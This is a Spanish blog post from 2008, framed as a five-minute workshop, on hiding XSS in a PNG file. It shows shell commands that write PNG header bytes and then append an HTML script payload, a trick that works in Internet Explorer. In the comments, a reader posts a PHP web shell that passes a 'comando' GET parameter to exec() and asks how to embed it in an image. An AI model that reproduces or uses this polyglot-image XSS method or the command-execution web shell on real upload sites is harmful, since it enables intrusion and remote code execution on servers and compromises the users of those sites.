Hack: XSS oculto en imágenes

09.oct 2008 Envía un trackback

Esta mañana hemos estado probando una nueva forma de XSS: a través de código en imágenes maliciosas }:).

El XSS no es más que un tipo de ataque o agujero basado en la explotación de vulnerabilidades del sistema de validación de HTML incrustado (wikipedia dixit).

Espero que se entienda mejor con un pequeño taller de 5 minutos, ejemplo incluido.

Creación de la imagen

Vamos a crear una imagen .png válida, para ello debemos introducir en dicho archivo unos datos de cabecera que le indiquen al navegador que se trata de una imagen (extensión aparte).
$ echo -en "\x89\x50\x4E\x47\x0D\x0A\x00\x00\x00\x0DVILC\x00\x00\x01\x00\x00\x00\x01" > image.png
Nota: Cuando hablo de "navegador" me refiero a Internet Explorer, aunque no sea demasiado adecuado. Este truco solo funciona en IE, los Navegadores de verdad -con mayúscula- están libres de pecado.

Código XSS

Una vez tenemos el archivo con las cabeceras adecuadas de un supuesto png agregamos el código poco ético:
$ echo -n "<html><body><script>alert('Ponga aqui su insulto');</script></body></html>" >> imagenxss.png
Y habremos completado el proceso de creación de una imagen con XSS oculto.

Comprobación

He subido esta imagen como comprobante. Solo funciona en Internet Explorer. Al visualizar la imagen debería salir un alert javascript con mensaje oculto.
Comprobación XSS
imagenes hack

Comentarios
Gravatar zixro@27.11.2008, 'Re: Hack: XSS oculto en imágenes'

Mira io te doy otro codigo q para mi es mas util <?php
echo "<html>";
if(isset($_GET['comando'])){

$comando = $_GET['comando'];
exec($comando,$salida);

foreach($salida as $linea) {
echo "$linea<br>";
}
}
?>
<title>Cosa</title>
<script>alert()</script>
</html>

mi problema es el sgte el codigo php no es valido dentro de la imagen


Escribe tu comentario
 
 
Guardar datos
Escribe tu comentario:
captcha


Intenta que tu comentario sea interesante y con información relevante al tema de la entrada. BBCodes disponibles: [url=http://direccion]texto[/url], negrita: [b]texto[/b], itálica: [i]texto[/i], subrayada: [u]texto[/u]. Para mencionar o citar a alguien (quote): [cita]texto[/cita]